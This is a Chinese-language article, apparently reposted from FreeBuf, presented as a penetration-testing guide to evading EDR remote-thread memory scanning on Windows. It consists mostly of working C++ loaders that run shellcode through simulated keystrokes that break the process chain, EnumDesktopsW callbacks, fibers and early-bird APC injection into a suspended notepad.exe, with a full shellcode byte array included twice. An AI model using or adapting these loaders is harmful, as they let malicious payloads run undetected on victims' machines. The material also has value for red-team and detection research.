关闭

渗透测试:EDR绕过远程线程扫描指南

发表于:2024-4-07 09:38

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:渗透测试安全攻防    来源:FreeBuf

  前记
  触发EDR远程线程扫描关键api:createprocess、createremotethread、void(指针)、createthread。
  为了更加的opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路:
  进程断链
  #include <windows.h>
  #include<iostream>
  void SimulateKeyPress(WORD keyCode) {
      INPUT inputs[2] = {};
      ZeroMemory(inputs, sizeof(inputs));
      inputs[0].type = INPUT_KEYBOARD;
      inputs[0].ki.wVk = keyCode;
      Sleep(500);
      inputs[1].type = INPUT_KEYBOARD;
      inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
      UINT uSent = SendInput(2, inputs, sizeof(INPUT));
  }
  int main()
  {
      // 调用 ShellExecute 函数,执行一个命令
      HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
      if ((int)hReturn < 32) {
          printf("0");
          return 0;
      }
      printf("% d", (int)hReturn);
      HWND hExplorer = FindWindowA("CabinetWClass", NULL);
      if (hExplorer) {
          // 将资源管理器窗口设置为前台窗口
          SetForegroundWindow(hExplorer);
      }
      else {
          printf("Explorer window not found.\n");
      }
      SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
      SimulateKeyPress(VK_RETURN);
      return 0;
  }
  通过模拟键盘点击,完成进程断链,父进程为explore。
  进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为
  回调执行
  回调可以很好的规避EDR对远程线程的内存扫描,举例如下
  #include <windows.h>
  #include<iostream>
  //calc shellcode
  unsigned char rawData[276] = {};
  int main()
  {
      LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      memcpy(addr, rawData, sizeof(rawData));
      EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
      return 0;
  }
  纤程
  纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。
  #include <windows.h>
  void like() {
      //calc shellcode
      unsigned char rawData[276] = {
          0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
          0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
          0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
          0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
          0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
          0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
          0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
          0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
          0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
          0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
          0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
          0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
          0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
          0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
          0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
          0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
          0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
          0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
          0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
          0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
          0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
          0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
          0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
      };
      LPVOID fiber = ConvertThreadToFiber(NULL);
      LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      CopyMemory(Alloc, rawData, sizeof(rawData));
      LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
      SwitchToFiber(shellFiber);
  }
  int main() {
      like();
  }
  内存属性修改
  内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread
  让EDR扫描内存时处于无权限状态即可。
  early bird+Mapping
  early bird,APC注入的变种
  Mapping:内存映射
  ·创建一个挂起的进程(通常是windows的合法进程)
  · 在挂起的进程内申请一块可读可写可执行的内存空间
  · 往申请的空间内写入shellcode
  · 将APC插入到该进程的主线程
  · 恢复挂起进程的线程
  #include <Windows.h>
  #include <iostream>
  #pragma comment (lib, "OneCore.lib")
  void mymemcpy(void* dst, void* src, size_t size);
  int main()
  {
      //calc shellcode
      unsigned char rawData[276] = {
      0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
      0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
      0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
      0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
      0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
      0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
      0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
      0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
      0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
      0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
      0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
      0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
      0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
      0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
      0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
      0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
      0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
      0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
      0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
      0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
      0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
      0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
      0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
      };
      LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
      STARTUPINFO sInfo = { 0 };
      PROCESS_INFORMATION pInfo = { 0 };
      sInfo.cb = sizeof(STARTUPINFO);
      CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
      HANDLE hProc = pInfo.hProcess;
      HANDLE hThread = pInfo.hThread;
      HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
      LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
      mymemcpy(lpMapAddress, rawData, sizeof(rawData));
      LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
      QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
      ResumeThread(hThread);
      CloseHandle(hThread);
      CloseHandle(hProc);
      CloseHandle(hMapping);
      UnmapViewOfFile(lpMapAddress);
      return 0;
  }
  void mymemcpy(void* dst, void* src, size_t size)
  {
      char* psrc, * pdst;
      if (dst == NULL || src == NULL)
          return;
      if (dst <= src)
      {
          psrc = (char*)src;
          pdst = (char*)dst;
          while (size--)
              *pdst++ = *psrc++;
      }
      else
      {
          psrc = (char*)src + size - 1;
          pdst = (char*)dst + size - 1;
          while (size--) {
              *pdst-- = *psrc--;
          }
      }
  }
  后记
  传参规则
  #include<iostream>
  using namespace std;
  void func(int a, int b)
  {
  cout << "func:\n";
  cout << "a = " << a << "\tb = " << b << endl;
  }
  int main(void)
  {
  int v = 3;
  func(v, v++);
  cout << "v=" << v;
  v = 3;
  func(v, ++v);
  v = 3;
  func(++v, v);
  v = 3;
  func(v++, v);
  return 0;
  }
  func:
  a = 3 b = 3
  v=4
  func:
  a = 4 b = 4
  func:
  a = 4 b = 4
  func:
  a = 3 b = 3
  函数声明区别
  __cdecl:
  C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。
  __stdcall:
  windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。
  __fastcall:
  快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。
  在x86下出现明显特征:
  19: func1(4, 5);//__cdecl
  00981B31 6A 05                push        5  
  00981B33 6A 04                push        4  
  00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
  00981B3A 83 C4 08             add         esp,8  
      20: func2(4, 5);//__stdcall
  00981B3D 6A 05                push        5  
  00981B3F 6A 04                push        4  
  00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  
      21: func3(4, 5);//__fastcall
  00981B46 BA 05 00 00 00       mov         edx,5  
  00981B4B B9 04 00 00 00       mov         ecx,4  
  00981B50 E8 2C F6 FF FF       call        func3 (0981181h)  
  自实现copymemory
  void mymemcpy(void* dst, void* src, size_t size)
  {
      char* psrc, * pdst;
      if (dst == NULL || src == NULL)
          return;
      if (dst <= src)
      {
          psrc = (char*)src;
          pdst = (char*)dst;
          while (size--)
              *pdst++ = *psrc++;
      }
      else
      {
          psrc = (char*)src + size - 1;
          pdst = (char*)dst + size - 1;
          while (size--) {
              *pdst-- = *psrc--;
          }
      }
  }
  reference
  https://www.cnblogs.com/fdxsec/p/17995030#1winexec
  https://github.com/aahmad097/AlternativeShellcodeExec
  https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9
  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号